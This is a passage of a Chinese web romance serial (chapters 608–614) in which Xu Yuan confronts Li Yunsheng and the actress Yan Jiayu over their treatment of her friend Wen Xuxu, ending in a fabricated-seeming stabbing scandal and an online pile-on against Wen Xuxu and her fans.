所以温栩栩现在爬的再高又有什么用呢?就算她不久以后成为天皇巨星又如何?迟早要死的人。就让她当是做了一个美梦好了。 颜佳雨笑着时,经纪人走出来,看到她在夜色中势在必得的笑容只觉浑身胆寒。 “黎总怎么说?”经纪人还是问了。 “他说记得我的承诺,一直记得。”颜佳雨眼底都带着几分痴狂:“所以温栩栩没救了。” 经纪人看到她如此癫狂的样子心却沉了下来:“既然一切已成定局,那就不要再针对温栩栩了。” “什么叫针对她?我只是给她点教训,不然她真要爬到我头上了。”颜佳雨眼底都是不屑:“我让你做的事继续做让你找的人也继续找,她在我这里已经是死物,不必手下留情。” 经纪人觉得喉间堵得厉害。 可她知道颜佳雨决定的事没人能改变结局。 经纪人有些苦涩的应了一声方才离开,只是离开的有些快,像是背后有什么洪水猛兽在追赶。 …… 许愿从温栩栩的别墅正打算离开去找黎云笙问清楚他想怎么做,结果就看到别墅外停着一辆车,是黎云笙的车。 许愿看到了黎云笙,黎云笙亦看到她。 四目相对,两人眼底都只余冰冷。 许愿甚至在这一刻有时间想起自己跟黎云笙之间黎云笙对她有多厌恶。 巧了,现在她对黎云笙同样如此厌恶。 许愿逐步走近,最后停留在黎云笙车面前,目光中带着明显的凉意。 “出来,我们谈谈。”许愿开口。 黎云笙深深的看了她一眼:“上车,这里不是谈话的好地方。” 黎云笙同意了许愿要谈话的请求。 许愿淡淡嗯了上了车,最终车子停在别墅附近的一家私人会馆。 包厢内已经有备好的茶水,房间内点着熏香,是淡淡的雅致的香味。 许愿没时间去看这些,她进了房间直截了当开口:“你和栩栩之间的事情你打算怎么做。” 果然是为了温栩栩来的。 黎云笙目光中带着寒意。 桌上的茶水冒着热气,他阴冷的目光射向她,像是带着极强的攻击性。 “这是我的事,与你无关。” “与我无关?”许愿嗤了一声:“栩栩是我一起长大的好姐妹,在我这里她和苏逸同等重要,她是我的家人,现在你对我说与我无关?怎么?难道我就必须要看着你欺负我的姐妹我的家人?” 姐妹?家人? 黎云笙眼底的厌恶几乎要凝结称实质。 他至今还记得温栩栩刚成年的时候找到他时的模样。 青涩的像是还未开放的花朵,却又带着满腹算计的爬上他的床。 他那时喝醉了酒,且那时的温栩栩太像颜佳雨年轻的时候,误将她当做颜佳雨才有了那糊涂的一夜。 第二天醒来后,他本以为这是竞争对手为自己设下的圈套,或者是温栩栩想要踩着踏板飞上高枝。 可他万万没想到温栩栩的条件只是不要暴露她为许愿投资。 她甚至将许愿的方案告诉他,让他知道这投资稳赚不赔。 他以为温栩栩是为了钱,谁知她只是为了许愿。 目的可笑又可怜。 在她心里,许愿大过她自己,比她自己都要重要。 有了第一次就有第二次第三次无数次,每次的交易都是希望他在背后帮助许愿给她一些便利。 他被温栩栩那样轻易的当做了为许愿投资的工具人。 而许愿呢?一直被蒙在鼓里,全然不知。 现在却又说温栩栩是她的家人姐妹。 是啊,温栩栩也将她看做家人姐妹,将她看做最重要的人,所以才会为了她豁出一切。 可若是没有许愿,温栩栩不会碰到他。 黎云笙倏地开口:“许愿,你有没有想过,或许温栩栩的灾难全是因为你。” 他突然没头没脑的说了这样一句,许愿愣住,但是黎云笙好像是说错话似的紧跟了句:“许愿,我和温栩栩之间的事情不需要你来插手。” 许愿眸光更冷。 “黎云笙,从你开始为了颜佳雨不停伤害栩栩开始,这就不是你们之间的事了,我不会允许你欺负栩栩。” “如果栩栩真的出事,我也绝不会对你手下留情,你也知道我现在的身份和实力。” 她的身份和实力就是她最大的底气。 “你未免太看得起你自己。”黎云笙冷笑。 他当然知道许愿的实力,但许愿是靠着温栩栩出卖身体从这里拿到的投资,纵然现在身份与众不同,那些过去也是脏污不堪的。 若是没有温栩栩,许愿也不会那么快的成功。 许愿还是会成功,但是要经历的要遭遇的比这些多更多。 可在他眼里许愿是靠他的投资才能有了今天。 许愿明艳却清冷的眉眼染带上些许戾意。 “这话也是我要还给你的,你未免也太看得起你自己。” 两厢对峙,皆是为了温栩栩。 第609章 别太看得起你自己 “黎云笙,你该知道我不是在说大话,我说会让你付出代价就一定会让你付出代价。” 许愿眼底的冷意甚为明显,她倒了杯热茶,眉宇间略过一抹嘲意:“黎家这么乱,也不是所有人都希望你来掌权,换个继承人想来也不是什么难事。” “我看是你太过自大嚣张。”黎云笙嘲讽:“你想换谁?换黎云浩吗。” 黎云浩,黎云笙在黎家算是头等死敌,他同父异母的私生子哥哥,他的父亲在他母亲还没怀孕时就已经出轨有了黎云浩,这些年,黎云浩小动作不断,就是想将黎云笙拉下来自己坐到那位置。 黎云浩的身份,许愿当然知道,此刻眼底闪过明显的冷意。 黎云浩不只是黎云笙的死敌,还是颜佳雨的未婚夫,让她选黎云浩就是在恶心她。 许愿握紧茶杯,眸光沉沉的看着面前的人,许久后开口:“你是盛景炎的朋友,我也并不想与你为敌,我没有其他的要求,我只希望你不要伤害栩栩。” 这是很矛盾的。 一方面黎云笙是盛景炎自小的好友,另一方面黎云笙确实曾经帮过她很多。 如果仅凭一时意气跟黎云笙对上,她也会觉得自己过于冲动不够理智。 而且……温栩栩或许也不希望看到这样的结局。 “我今天来见你,就是希望你做出正确的选择。” “如果你选栩栩,那就将网络上的绯闻处理干净,以后跟颜佳雨保持距离,但若是选择颜佳雨,我也希望你放开栩栩还她自由各自欢喜。” 这是许愿考虑后的结果。 如果黎云笙真的只在意颜佳雨,继续让他跟温栩栩在一起,受到伤害的也只会是温栩栩。 她跟傅京礼在一起的那三年就是最好的例子。 数不清的冷暴力,她当然知道有多痛苦,她不希望温栩栩布上自己的后尘。 若是她还在国外或者对这些事一无所知也就算了,可她回来了且知道了,她就一定要护着温栩栩。 黎云笙眸光愈深,眼底冷意几乎凝结成实质。 这是在逼他做选择?她以为她是谁? 如果不是许愿,温栩栩当初又怎么会爬上他的床,她们会纠缠到一起,全因许愿。 真要论起来,罪魁祸首不该是许愿吗。 就算后面是他不肯放手……可,如果没有许愿,他和温栩栩或许就没有相遇的可能。 黎云笙眼底的讽意几乎要漫出来,许愿并不清楚他这是什么意思,他根本没有做出任何选择。 “你现在的沉默就是对栩栩最大的伤害。” “我对你和颜佳雨之间的事情多少已经有了了解,她才是你曾经放在心上的女人,所以哪怕是你结婚了也不能放下她,既然心里有人就不要再伤害其他人。” “你已经配不上栩栩了,你们离婚吧。” “这些日子你为栩栩投资的花费或者赠送的房产或者珠宝礼物我都会折合成现金原数还给你。” 这件事想要解决其实并不算难,如果普通人想要离婚,在男方不同意的情况下几乎很难成功离婚,因为这世界说白了是个忠于男性的世界。换句话说,有些城市甚至男方出轨都不会判离。 但许愿不同。 当一个人的权势达到一定程度,她想做什么都可以轻松做到。 许愿可以轻松联系到刑从景和顾凛,她毕竟身上牵连众多,纵然黎家不好惹,但她若提出要求需要黎云笙和温栩栩离婚,那上面一定会给她面子,不管黎云笙同不同意都会给那张离婚证。 这就是现实。 她没有直接去做这些,就是因为知道温栩栩心里有黎云笙,她担心温栩栩或许还不想离婚给颜佳雨让位,所以才跟黎云笙约谈,问清楚他到底要怎么选择。 但显然,黎云笙在游移不定。 他也不知道选谁,他还是要护着颜佳雨却也不肯放过温栩栩。 “如果你不能做出选择,那我会给你选择,离开栩栩跟她离婚。” 许愿再度重复。 “许愿,这是我和温栩栩之间的事,与你无关。”黎云笙站起身,包厢内的灯光明明是暖光,但打在他身上多了层阴影,阴翳着明显的寒意。 “有这么多时间,不如管好你自己的事。” 黎云笙嘲讽。 “盛家一团乱麻你解决了吗。” “姜家在蓄力对付盛家你想好对策了吗。” “你和傅京礼还有傅长海之间的矛盾也全都摆在那里。” “苏青莲和唐家之间的关系你清楚了吗?” “莱蒂斯在国外将你视作仇敌狙击你的产业你反击了吗。” “自己的事情都没解决好却有闲情雅致管我的家事,许愿,别太看得起你自己。” 黎云笙一字一句全都砸到许愿心头,每一句都毫不留情。 盛家的事情已经在解决,但确实还乱着。姜家来到A市帮助傅京礼对付盛世也确实是难事,再加上唐家也因为苏青莲的事情紧盯她,莱蒂斯更是仇敌处处狙击…… 黎云笙的每一句都说在点上。 “我说过,栩栩是我的家人,哪怕这些事都堆积在一起,也比不过栩栩。” 许愿面色沉沉。 黎云笙看她此刻气愤的模样,倏地笑出来,那笑都是冷的。 多可笑,就算她再如何在乎温栩栩,温栩栩不还是为了她爬上他的床。 多感人肺腑的姐妹情。 可他的床不是想爬就爬想走就走的。 “我明白你的意思了,你不可能放栩栩离开,那我们之间也没什么好说的了。” 许愿站起身,气势完全不输他。 “如果你真的会伤害栩栩,我会联系人强行让你们离婚。你知道我有这个能力。” 黎云笙一言不发的看着许愿的背影,唇角都还带着嘲意。 的确,许愿若是想让温栩栩离开他确实轻而易举。 可他,不会让温栩栩离开。 黎云笙低头给温栩栩发了条信息,他清楚,温栩栩看到这条信息,绝对不会同意跟她离婚。 毕竟……这世界上她最在意的最不想伤害的最想保护的就是许愿。 她宁愿伤害她自己也要瞒着那些事,不是吗。 第610章 她不想放手 许愿出了酒店,心头那口气没有压下去。 “抱歉,邢队,帮我开车可以吗。” 她现在那口气还憋在心头,她怕自己一气之下可能会出车祸。 刑从景当然不会拒绝,但是对于许愿和黎云笙交谈的事他也权当什么都不知道。 “我见了黎云笙。” 许愿开口了。 刑从景说:“我知道,你是为了温栩栩。” “我想让栩栩和黎云笙离婚,你觉得我做错了吗。”许愿是将刑从景当做前辈长辈甚至是朋友来看的,她想知道自己做这些在刑从景眼中是不是有些幼稚可笑。 车子被他停在路边,他其实经常都是面无表情的,但这次像是很轻的笑了下,笑的有些无奈。 “为什么会认为错的是你。” “你是担心温栩栩因为这件事跟你有嫌隙吗?因为这是她跟黎云笙的私事?” “其实以你和温栩栩的关系,你们不会因为任何事去生对方的气,你们一直都以对方为重,你也说了她是你非常重要的家人,她同样是如此。” “这件事你唯一错的地方大概就是没有问过她的想法。” “至于真正做错事的,难道不是黎云笙和颜佳雨吗?” 刑从景就是将许愿看作是小辈来疼爱的,她是苏青莲的女儿,所以他总是会多些怜爱,他不觉得许愿做错了什么。 许愿笑了下:“是,栩栩不会怪我。” 刑从景看她重新露出笑颜也勉强笑了下,只是心却沉了下去。 其实他已经猜到温栩栩不会跟黎云笙离婚了。 不仅是温栩栩不想跟黎云笙离婚,更因为黎云笙有着温栩栩最大的一个把柄,一个可以肆无忌惮伤害到许愿甚至可能让她这辈子都无法面对温栩栩的把柄。 温栩栩是许愿的好友,他接下保护许愿的任务后几乎就全方位调查了她身边的人。 许愿能在那么短时间内完成资本积累成为新的资本不只因为她足够聪明足够敏锐,还因为温栩栩。 许愿当初接受到的那些黎云笙的投资,都是温栩栩换来的。 只这一点,黎云笙就可以完全拿捏温栩栩。 因为温栩栩绝对不想伤害许愿,许愿是她的软肋,只要能守住许愿,她可以低头退让做任何事。 纵然她再如何骄傲,还是会因为这件事选择继续这段婚姻。 他已经看透了。 纵然他知道这一切,他也不会告诉许愿,因为这种事实真相对许愿过于残忍。 让她知道真相不是温栩栩想看到的,同样不是他想看到的,他们都只是希望许愿一生顺遂罢了。 许愿不知道这些,她脸上还带着点笑意:“如果栩栩同意离婚,你们会帮她解决的对吗。” 刑从景此刻甚至有点有心无力。 他们当然可以解决。 问题是,能不能这样解决。 温栩栩愿不愿意这样解决。 刑从景垂眸:“这要看温栩栩的意愿。” 许愿想帮她,但温栩栩可能不希望离婚。 许愿听闻有些恍惚,她似乎也想到了自己和傅京礼当初的那三年,如果那时候问她愿不愿意离婚,她的回答也会是不愿意的。 路上,许愿没再说其他的。 已经是深夜,许愿还没有回去,盛景炎给她打了电话,许愿还在愣神已经接通电话。 听到声音才回过神。 “我在栩栩这里,今天会晚点回去,或者也可能不回去。”许愿放心不下温栩栩。 盛景炎其实猜到跟温栩栩有关。 “你不用过来陪我的,处理好公司的事就好。” 许愿现在满心都是温栩栩,跟盛景炎简单说了几句,见车子已经到别墅外,便匆忙解释后挂断电话。 盛景炎略有无奈。 温栩栩还在睡着,她离开时是什么模样现在还是什么模样,看着有些乖巧有些可怜。 她身上酒味很重,但许愿不介意,甚至感觉不到难闻,接了盆热水替她擦拭了下。 半夜熬了醒酒汤喂她喝了,省的第二天醒来头痛。 她现在醉着,猜着就是脑子不会多清醒,所以许愿没打算现在问她怎么解决跟黎云笙之间的事,她打算等温栩栩醒了后再问清楚状况。 这是温栩栩的房间,她也不介意温栩栩身上的酒味儿,就躺在她身边睡去,只是一整晚都没睡好,一直在做梦。 她不停梦到年少时期跟在自己身边的温栩栩,那样天真烂漫傻乎乎的温栩栩,好像从不会有任何烦恼的温栩栩。 …… 温栩栩醒来时已经快中午了,虽然昨晚喝了醒酒汤,但许是她喝的酒太多,头还是有点晕。 她喉间忍不住溢出难耐的呻吟,扶着墙下床。 “醒了?” 温栩栩还懵着,就听到许愿的声音,她脸上已经条件反射的露出了笑,她在许愿面前总是这样无忧无虑笑容满面的,所以才会让许愿以为她一直都过得很好。 若不是这次热搜事件,她根本不会知道温栩栩受了这么多委屈。 “我熬了点蔬菜粥,要吃点吗,空腹对身体不好。” 温栩栩听了勾了勾唇角:“嗯好,我先去洗漱再下去。” 她闻到自己身上的酒味儿了,她不喜欢,想快点洗掉。 等她洗完出来,许愿又拌了个简单的沙拉已经放到餐桌上,温栩栩满脸都是笑意,却完全不是强撑的,她看到许愿就是会开心。 等温栩栩吃过饭,许愿才看着她的眼睛,语气带着点沉重的认真。 “栩栩,你还记得你昨晚喝醉酒后说的话吗。” 温栩栩脸上的笑意都僵了一瞬。 她当然记得,她是希望许愿不记得自己的糗样,不想她担心。 “看你这表情,你应该是记得。” 温栩栩嗓音带着点哑意:“不是多大的事,不必在意的。” “我在意。”许愿表情严肃:“栩栩,你和黎云笙还有颜佳雨的事我已经知道了,你打算怎么做,如果你想离婚我一定会帮你。” 离……婚吗? 温栩栩觉得自己嘴巴有些干,此刻不知道自己该说什么能说什么。 最初嫁给黎云笙的时候她一直想离婚,可现在他好像已经习惯鲤黎云笙作为自己的爱人了。 “栩栩,你是怎么想的,你愿意吗。” 她在问温栩栩的意愿。 温栩栩垂下眼,掌心微微蜷缩,已经变得不像她自己。 她有些不自然的开口:“阿愿,我不想离婚。” 她抬头,似乎带着点偏执。 “我们结婚了,他已经是我的人了,我为什么要放手呢。” 第611章 不放心她 温栩栩是什么性格的人? 自尊心强报复心强且偏执占有欲强的人,若是最初没有跟黎云笙领证,她不会真的认为黎云笙是爱人。 但是领证了,在她心里那是不一样的。 更何况……黎云笙心里有一个颜佳雨,她凭什么在这种时候放弃跟他离婚白白给颜佳雨让位置? 她从来就不是这么怯懦的人。 她就是要硬抗到底。 “你确定吗,你真的不打算离婚,一定要跟黎云笙在一起吗。”许愿看她目光这样坚定,还是有些担忧。 温栩栩摇头:“我不打算离婚。” 不单是对黎云笙有感情,更是不想将自己的爱人拱手让人。 许愿很想劝她,但这是温栩栩自己的选择,她作为朋友不能将自己的想法强加到她身上。 “如果这时你的选择,那我支持你。” 许愿话落已经被温栩栩抱了个满怀,温栩栩的身体很柔软,她像是有些依赖的在许愿怀里蹭了蹭,很轻的说:“阿愿,谢谢。” 许愿能感受到她的无助,她心里有点乱,却还是只能抱紧她。 “不管发生什么,还有我在。” …… 直到许愿离开,温栩栩才浑浑噩噩的重新爬到床上,昨晚手机就因为没电关机了,现在充上电开机,就看到了黎云笙发来的信息。 【黎云笙】:不想许愿知道你爬床的真相就不要离婚。 是威胁。 这就是昨晚黎云笙发给温栩栩的信息。 就像刑从景想的那样黎云笙确实在用许愿来威胁温栩栩。 温栩栩看着黎云笙发来的微信,一时有些想笑。 她也真的笑了,笑着笑着却开始想哭。 多卑劣啊,她爱的人多卑劣啊,竟然又一次用许愿来威胁她。 他明明知道她会为了许愿妥协很多事,他是真的要伤她至深吗。 黎云笙,你真的好狠。 她颤抖着手在屏幕上敲下一段话。 【温栩栩】:你不必用阿愿来威胁我,我不会离婚。 只是不想离婚是一回事,心真的冷了也是真的。 黎云笙和温栩栩的矛盾,许愿却不知,这个时间才去了盛世,段星河看到她啧了一声。 “舍得回来了?” 许愿瞥他一眼嗯了一声,段星河只在旁边嘀咕几句就继续做实验,反倒是许愿手机推送了新的新闻。 大概是她最近一直在搜索黎云笙颜佳雨相关的所以也给她推了这些。 #黎云笙颜佳雨拍卖会# 磕这两人CP的粉丝已经快磕疯了。 {我就说黎总对我们颜影后是真的吧!还有谁被黎总带去过拍卖会啊!这就是妥妥的想为自己老婆花钱!黎总宠妻霸总没跑了!} {我在照片里还看到了盛世的盛总,黎总这是带颜影后见朋友了?朋友都见了,下一步就是见家长,然后就是结婚!} {结婚!结婚!结婚!} CP粉们开心的像是过大年,许愿越看眉头皱的越深。 昨晚黎云笙见她之前已经带着颜佳雨去了拍卖会?还遇到了盛景炎? 许愿都要被气笑了。 不过她还算理智,直接联系人将这些词条和超话端了。 黎云笙不管,她管。 知道许愿回了公司,盛景炎开完会就去了她的办公室,只是这次许愿一直在算数据,似乎根本没打算理他。 盛景炎反思了下,还是不清楚自己到底哪里做错了。 不过天大地大许愿最大,万一真有什么地方被他忽略了? 盛景炎操控着轮椅靠近许愿。 “阿愿。” 许愿微微抿唇,还是不理。 她是有小脾气的,但也只是在他面前这样。 他不生气,反倒觉得有点可爱。 他离得更近了,甚至握住她的手,握的紧了些。 “阿愿,你这样不说话会让我有些担心。” “你在因为什么事不开心。” 许愿其实也知道自己这样有点迁怒盛景炎了,但她此刻确实是有些控制不住自己的脾气,只要想到盛景炎跟黎云笙是至交好友,且昨晚还一起参加拍卖会就心里有点堵有点气。 “我讨厌黎云笙。” 她转身扑进盛景炎怀里,头埋进他胸口,声音里面都还带着点轻微的怒意。 “他欺负栩栩。” 盛景炎有片刻失言,这件事他也认为是黎云笙的错,当初黎云笙跟温栩栩在一起时他就猜到温栩栩或许会受伤。 “是他做的不对,我跟你一起谴责他。” 许愿拽住他衣领,有点愤愤不平:“你还说,你昨晚不是还跟他和颜佳雨一起去参加拍卖会了?现在网上好多人都说他们两个的关系要定下来了,黎云笙都带颜佳雨见你了,都怪你。” 说到这盛景炎觉得自己属实有点冤。 他去拍卖会是为了给许愿拍礼物,而且昨晚黎云笙想拍的他一概都截胡了,甚至明面上讽了几句,半点都不友好啊。 “只是凑巧碰到,没有跟他们约好,我也不喜欢颜佳雨。” 说道此处盛景炎突然就明白许愿昨天为什么给自己发信息说自己是渣男了,原来是恨屋及乌,全因为黎云笙。 他还挺惨的。 “就该讨厌她。” 许愿嘀咕着颜佳雨,盛景炎被她此刻这副可爱模样逗笑了。 “好,讨厌她。” 正说着,许愿接到了一通电话,是她安排人去查谁一直买热搜让黎云笙和颜佳雨的词条挂在网络上。 结果已经出来了,是颜佳雨的工作室一直操控超话大粉放出风声,网络上很多大号都是颜佳雨的工作人员找人开的小号,不过高中时期大学时期的照片是真的。 是颜佳雨一直带节奏。 颜佳雨为什么这么做?显而易见是为了让温栩栩看到,让温栩栩伤心。 这种女人真是恶心透了。 许愿有些反胃。 “我要去见颜佳雨,我要问清楚她到底存了什么心。” 她已经爬到这高度了,总不能自己的家人朋友还要被这种人肆意欺辱。 她是一定要为温栩栩出头的。 盛景炎握紧她的手;“我跟你一起去。” 他还是不放心许愿一个人。 第612章 不凶,很可爱 “好!这场戏拍得很好!颜老师辛苦了!” 剧组内导演喊了卡,颜佳雨才笑着下场,助理立刻过来为她擦汗补妆。 经纪人表情有点古怪:“佳雨,许总和盛总要见你。” 经纪人说的是“要见你”不是“想见你”,足以表明来人的身份是她无法拒绝的。 只是……许总? 颜佳雨有些不明白她什么时候认识许总,可结合盛总,难道是许愿? 颜佳雨心里一突。 她知道温栩栩跟许愿关系不一般,但许愿在总不能因为网络上那些热搜来找她吧,更何况……盛景炎和黎云笙关系不错,她难道还真能不给黎云笙面子? 想到这些颜佳雨松了口气。 反正不管出什么事,还有黎云笙为自己顶着呢,不怕不怕。 颜佳雨面上又带上了和缓的微笑:“好,我这就去见他们。” 毕竟来人是许愿和盛景炎,剧组也得罪不起,特地准备了片场这边最宽敞的休息室。 颜佳雨看到许愿面上带着官方的微笑,权当自己没看到许愿脸上冷淡的表情。 “我都不知道我还能跟许总有什么交情。” “你当然不配跟我有什么交情。”许愿眸光冰冷。 “你不必在我面前装傻,我为什么来找你你心里清楚。” 许愿完全没打算给她面子,开口都带着凉意。 颜佳雨算是清楚了,许愿来找她就是带着敌意的。 “许总和盛总真不愧是一对儿,开口都是带刀子的。”颜佳雨柔柔的抚了下鬓角的发,很轻的笑了下:“你来找我无非是为了温栩栩罢了。” “可温栩栩和云笙之间的事是他们的私事,你们硬要插进来怕是有点过分了。” 许愿轻笑一声。 “你一个在网络上到处买热搜插足的人怎么有脸开口说这种话。” “自己未婚夫还被江夜回扣着,倒也不想着救他出来,反倒是知三当三接近黎云笙在这里忆当年了?” “别说自己无辜什么都不知道,热搜是谁买的我最清楚。” 许愿眸光冰冷:“你也知道我是做什么的,我想查到这些消息轻而易举。” “颜佳雨,你也不想你的粉丝知道当年你抛弃黎云笙选择了黎云浩,又在有了黎云浩的情况下跟黎云笙搞暧昧吧。” 她看着颜佳雨发白的脸继续开口:“如果你的粉丝知道了真相,谁还能认为你颜影后是个心思单纯的女人,怕是她们内心幻想出来的爱情也会充满污垢与黑暗。” “你还真是害人不浅啊。” 颜佳雨紧咬下唇:“你和温栩栩又没有血缘关系,为什么要这么帮她?帮她对你有什么好处!” “云笙就是喜欢我,温栩栩就是我的替身,要怪就怪温栩栩没有魅力不能让云笙爱上她!” 许愿笑了,她拍了拍手:“真不愧是你,从不会在自己身上找原因,错的全都是身边的人。” “可黎云笙又不是蠢货,只要你真的嫁给黎云浩,那黎云笙自然会对你死心不是吗。” “不过,只怕你不肯嫁给现在背负骂名没能成为黎家继承人的黎云浩。” 颜佳雨被逼到这份儿上,咬牙道:“我当然是喜欢云浩的,不然也不会为他奔波!” “是吗,那你肯定也愿意嫁给他了。” “很好。” 许愿根本不给她拒绝的机会。 “我会联系江夜回保留他的一些罪证,只要你跟他尽快完婚,他所做的那些事都可以用钱来摆平。” 颜佳雨沉默了。 她只想嫁给继承人真正的改换门庭。 现在的黎云浩不是黎家继承人且名声已经坏了,她……她不敢将一切都压在黎云浩身上所以才会接近黎云笙的。 让她现在嫁给黎云浩就是想毁了她吗。 “你不想嫁吗。”许愿一步步逼近她,伸手捏住她的下巴,嘲道:“你也不想你自己做过的一些事让你的粉丝知道吧,如果一切都暴露了,那你的粉丝就会知道她们崇拜的偶像只不过是个忘恩负义阴险狡诈的小人。” 颜佳雨眼神陡然惊恐。 许愿……还知道什么! 许愿倏地拽住她的头发使力,颜佳雨疼的红了眼睛,却听许愿在她耳边开口:“你做的事我都知道,包括你跟那些导演制片做的龌龊事,也包括你在国外抄袭论文贿赂导师的事,我全都一清二楚。” “如果你不想身败名裂,那就尽快跟黎云浩完婚,然后离黎云笙和温栩栩远一些。” 她放开颜佳雨,颜佳雨低垂着头:“我知道了,给我点时间。” 许愿眸光依旧冰冷;“你最好是真的知道了,而不是阳奉阴违。” 话落许愿跟盛景炎离开。 在她眼里颜佳雨算是个聪明人,就因为是聪明人才做了那么多令人匪夷所思的事。 她已经将利害关系摆到她面前,她应该知道如何选择。 上了车,许愿脸上的冷意都已经消散,她依偎进盛景炎怀中:“我刚才那样是不是有点凶。” 盛景炎想了下:“不凶,很可爱。” 他看许愿是带着滤镜的,在他眼里许愿做什么都是可爱的。 像是一只可爱的狸花猫宠物猫,而颜佳雨在他眼里跟老鼠差不多,自家可爱的小猫摁住老鼠逗弄你会觉得凶吗?只会觉得可爱,还会担心自己的猫咪被老鼠弄脏担心老鼠身体里有细菌。 “你真这么想?”许愿忍不住笑。 “不凶,性感又可爱。”盛景炎凑过去吻了吻她的耳垂。 许愿又笑起来,两只手捧住他的脸吻上去。 …… 许愿离开后,颜佳雨气到将休息室里的东西砸了一遍,内心的怒意还是没能消下去。 她当然想相信许愿什么事都能做得出来。 可是她长这么大,还没有人这么威胁过她! 她真当她是好欺负的吗? 既然许愿敢找上门,她就敢先下手为强。 温栩栩算个什么东西!那就是她的血包! 颜佳雨眼底都带着血色给经纪人打了电话:“现在立刻安排好一切,我要温栩栩身败名裂!” 许愿想让她从高台坠落,她就先要温栩栩摔下来! 第613章 八卦 当天一条视频在微博视频号乃至朋友圈疯狂转发,视频中一名高壮男人持刀追着颜佳雨口中高声骂着喊着“谁让你一直欺负温栩栩!颜佳雨你这样的贱人就该死!影后是温栩栩的,你这样的人不配当影后!” 视频中的男人一直怒吼着要为温栩栩讨公道一刀捅进颜佳雨身上。 当日热搜#温栩栩粉丝伤人#和#颜佳雨重伤住院#一前一后冲到最前面,热搜词条爆了。 【惊!知名影后被流量小花粉丝重伤住院!】 现今追星妖魔化,一众粉丝为了自己爱慕的流量做出报社行为,因此事发突然,上面表示会对娱乐圈一些常见的粉圈现象进行整改,对此你怎么看?】 【温栩栩粉丝重伤颜佳雨?这其中究竟有什么隐情?跟温栩栩有无关系?是温栩栩对粉丝暗示了什么还是两人之间有资源纠纷?】 颜佳雨被温栩栩粉丝重伤住院这消息登上热搜榜首,各路娱乐八卦号闻讯而来开始肆意转发视频引导舆论,颜佳雨的真爱粉乃至一些路人粉知晓此事将所有恶意堆砌到温栩栩身上。 伤害他们女神的是温栩栩粉丝,不骂温栩栩骂谁! {这次佳雨姐被温栩栩粉丝重伤可以说是社会性事件了,这种事情必须立案调查了。另外我真的是对温栩栩这个人无话可说,从她出道以来娱乐圈就没安稳过,还有她团内的成员一直在圈内没完没了,她的粉丝也蹦来蹦去,温栩栩带着一群粉丝在圈内拉踩其他明星,这次更是厉害教出来一个疯子犯了命案!这件事温栩栩必须给我们一个交代!} 颜佳雨粉丝在微博上疯狂怒骂温栩栩及温栩栩的粉丝。 {这种事不是一次了吧,以前温栩栩粉丝还只是在网络上攻击佳雨姐现在直接转到线下跟踪佳雨姐!温栩栩到底对她的粉丝做了什么!} {温栩栩的粉丝就是一群无脑的蛀虫,如果我们姐姐出了事我们一定不会放过温栩栩的!温栩栩滚出来!温栩栩滚出来!@温栩栩} {呵,每次温栩栩出事黎氏娱乐都要出来站队帮她把舆论压下去,看着吧,过两天就会有人告诉我们这人不是温栩栩的粉丝这件事跟温栩栩一点关系都没有!@黎氏娱乐@温栩栩} {我被那个视频吓到了现在手还是抖的,我不明白到底是什么原因能让一个人失去理智做出这种可怕的事。就算真的资源重叠或者抢夺了对方的代言那也没必要捅人啊!} {可恶可恶可恶快被气哭了,怎么能这么无耻可恨!温栩栩出来管好你们家的疯狗啊!} 一条一条评论如过江之卿冒出来,均是心疼颜佳雨和怒骂温栩栩并逼她站出来表态的评论,温栩栩的粉丝一时之间也是慌的,被这突然发生的事情打的措手不及。 温栩栩的大粉们在超话发了贴并在微博大群让粉丝们不要插手这件事更不要发表任何言论不要被人傻乎乎的带节奏在这敏感的时候凑上去跟颜佳雨的粉丝对骂。 颜佳雨的粉丝视奸温栩栩的超话还特地把大粉的帖子截图嘲讽。 {温栩栩大粉这是心虚了,她们不敢让粉丝开麦就是怕说漏嘴吧!这群人指不定私下怎么骂我们姐姐,说不定什么难听话都要招呼上,呕,温栩栩和她的粉丝果然是泥地里的蛆虫!} 温栩栩一些理智的粉丝忍着怒意没回嘴还在超话劝其他粉丝这两天别看微博,可一些年纪较小的粉丝脑子一热跟颜佳雨粉丝骂起来,立刻被颜佳雨粉丝手疾眼快截图。 颜佳雨还躺在医院里现在温栩栩粉丝就这么嚣张的骂人,这评论瞬间被人顶上去,那名年纪小的粉丝被颜佳雨粉丝人肉,私信也全都是咒骂全家甚至还有些人辱骂的更严重上升到生殖器,更甚至有人说会半夜翻墙捅她一刀让她去死。小粉丝浑浑噩噩被吓哭了。 总之现在有谁敢为温栩栩说句话颜佳雨粉丝就能把她骂到自闭,张口闭口就是你们家主人没把你们这群疯狗拴在家里。现在温栩栩的粉丝直接被颜佳雨的粉和黑粉送了个称号,“疯狗”。 跟温栩栩不对付的人都暗爽的刷着微博,看到满屏都是辱骂温栩栩的评论有点想哼歌。 温栩栩这次得罪的可是颜佳雨呢,颜佳雨是影后,且跟黎氏的黎总关系匪浅,看她这次还怎么爬起来! 已经有人心中自有打算的联系了几个熟识的营销号。 网上颜佳雨粉丝不停攻击温栩栩的时候一些八卦号发出了一些圈内都“清楚”的小八卦。 【传的沸沸扬扬的伤人事件主人公影后和爱豆其实两人私下关系就不好。爱豆长得跟影后有点像所以出道的时候就想蹭影后的名头出道,也是因为爱豆的长相有些资本才肯投资她,爱豆因为这件事心里一直嫉恨影后,但其实影后根本不在乎爱豆,毕竟两个人根本不在同等级。】 【爆火的爱豆其实并不是什么好人,她在视频和节目中的样子都是演出来的,私底下的爱豆心思很重。爱豆做事处处算计,现在影后出事也是爱豆早就盯上影后在圈内的地位想夺走属于影后的荣耀。】 【突然爆火的女星爱豆背后一直有人,资本力量比较强大所以爱豆在圈内可以说是能横着走。爱豆没有正式出道前就有人提过她跟影后长得像,出道后也有影后粉丝提过,爱豆不喜欢影后觉得自己比影后美貌觉得这是侮辱跟影后属于两个阵营。这次影后受伤也跟爱豆私下跟粉丝聊天吐槽跟影后的资源之争有关。爱豆的暗示才让粉丝豁出去伤害影后,但爱豆并不害怕,毕竟出什么事都有身后的资本兜着。】 【女团出道唱跳全能的爱豆是个top癌,事事都想排第一,她出了名的心机女,不是第一就要花钱买到第一。爱豆这人没红前背后就有不少干哥哥,所以资源不断。爱豆这人有个毛病喜欢听人说好话,说她好话拍马屁的她就不会找对方麻烦还会给资源,至于不说好话的参考一下爱豆团内那位被冷暴力的边缘人士。别看爱豆出道时间不久,但认识的好哥哥可不少。】 第614章 阿愿特别特别好 一个又一个八卦号披着皮编着或真或假的小故事,这些八卦号确实知道一些圈内真事,所以编故事的时候才更不敢带明星们的真名,只起个绰号或者用字母来代替明星艺人,为的就是怕明星找上门报警。 